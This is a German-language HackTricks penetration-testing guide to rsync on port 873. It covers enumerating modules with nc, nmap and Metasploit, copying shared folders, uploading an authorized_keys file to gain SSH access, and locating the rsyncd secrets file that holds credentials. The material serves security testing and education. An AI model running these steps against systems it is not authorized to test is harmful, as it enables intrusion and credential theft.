873 - Pentesting Rsync

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Aus Wikipedia übersetzt:

rsync ist ein Dienstprogramm zum effizienten Übertragen und Synchronisieren von Dateien zwischen einem Computer und einer externen Festplatte sowie zwischen vernetzten Computern, indem die Änderungszeiten und Größen der Dateien verglichen werden.[3] Es ist häufig auf Unix-ähnlichen Betriebssystemen zu finden. Der Rsync-Algorithmus ist eine Art von Delta-Codierung und wird zur Minimierung des Netzwerkverbrauchs verwendet. Zlib kann für zusätzliche Datenkompression verwendet werden,[3] und SSH oder stunnel können für die Sicherheit verwendet werden.

Standardport: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Die Enumeration von Rsync beginnt mit der Überprüfung des Banners und der manuellen Kommunikation. Der Rsync-Dienst sendet normalerweise einen Begrüßungstext, der Informationen über die Version und die unterstützten Funktionen enthält. Dieser Begrüßungstext kann verwendet werden, um Informationen über den Rsync-Server zu sammeln.

Um den Banner zu überprüfen, kann das Tool nc (Netcat) verwendet werden, um eine Verbindung zum Rsync-Server herzustellen und den Begrüßungstext anzuzeigen. Die Syntax lautet:

nc <ziel-ip> <ziel-port>

Nachdem die Verbindung hergestellt wurde, wird der Begrüßungstext angezeigt. Dieser Text kann Informationen wie die Rsync-Version, das Betriebssystem und andere nützliche Details enthalten.

Die manuelle Kommunikation beinhaltet das Senden von Rsync-Befehlen an den Server und das Überprüfen der Antworten. Dies kann mit dem Tool rsync durchgeführt werden. Die Syntax lautet:

rsync <ziel-ip>::

Dieser Befehl fordert eine Liste der freigegebenen Module vom Rsync-Server an. Die Antwort enthält Informationen über die verfügbaren Module und deren Pfade.

Die Banner- und manuelle Kommunikationstechniken sind hilfreich, um Informationen über den Rsync-Server zu sammeln und potenzielle Schwachstellen zu identifizieren.

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Ermittlung freigegebener Ordner

Rsync-Module werden als Verzeichnisfreigaben erkannt, die möglicherweise mit Passwörtern geschützt sind. Um verfügbare Module zu identifizieren und zu überprüfen, ob sie Passwörter erfordern, werden die folgenden Befehle verwendet:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Seien Sie sich bewusst, dass einige Freigaben möglicherweise nicht in der Liste angezeigt werden und möglicherweise versteckt sind. Darüber hinaus kann der Zugriff auf einige Freigaben auf bestimmte Anmeldeinformationen beschränkt sein, was durch eine "Zugriff verweigert"-Meldung angezeigt wird.

Manuelle Verwendung von Rsync

Nachdem Sie eine Modulliste erhalten haben, hängen die Aktionen davon ab, ob eine Authentifizierung erforderlich ist. Ohne Authentifizierung können Sie Dateien aus einem freigegebenen Ordner in ein lokales Verzeichnis auflisten und kopieren, indem Sie Folgendes verwenden:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Dieser Prozess überträgt Dateien rekursiv und bewahrt dabei ihre Attribute und Berechtigungen.

Mit Anmeldeinformationen kann das Auflisten und Herunterladen aus einem freigegebenen Ordner wie folgt erfolgen, wobei ein Passwort-Prompt angezeigt wird:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Um Inhalte hochzuladen, wie z.B. eine authorized_keys-Datei für den Zugriff, verwenden Sie:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Um die rsyncd-Konfigurationsdatei zu finden, führen Sie Folgendes aus:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Innerhalb dieser Datei kann ein secrets file Parameter auf eine Datei verweisen, die Benutzernamen und Passwörter für die rsyncd-Authentifizierung enthält.

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated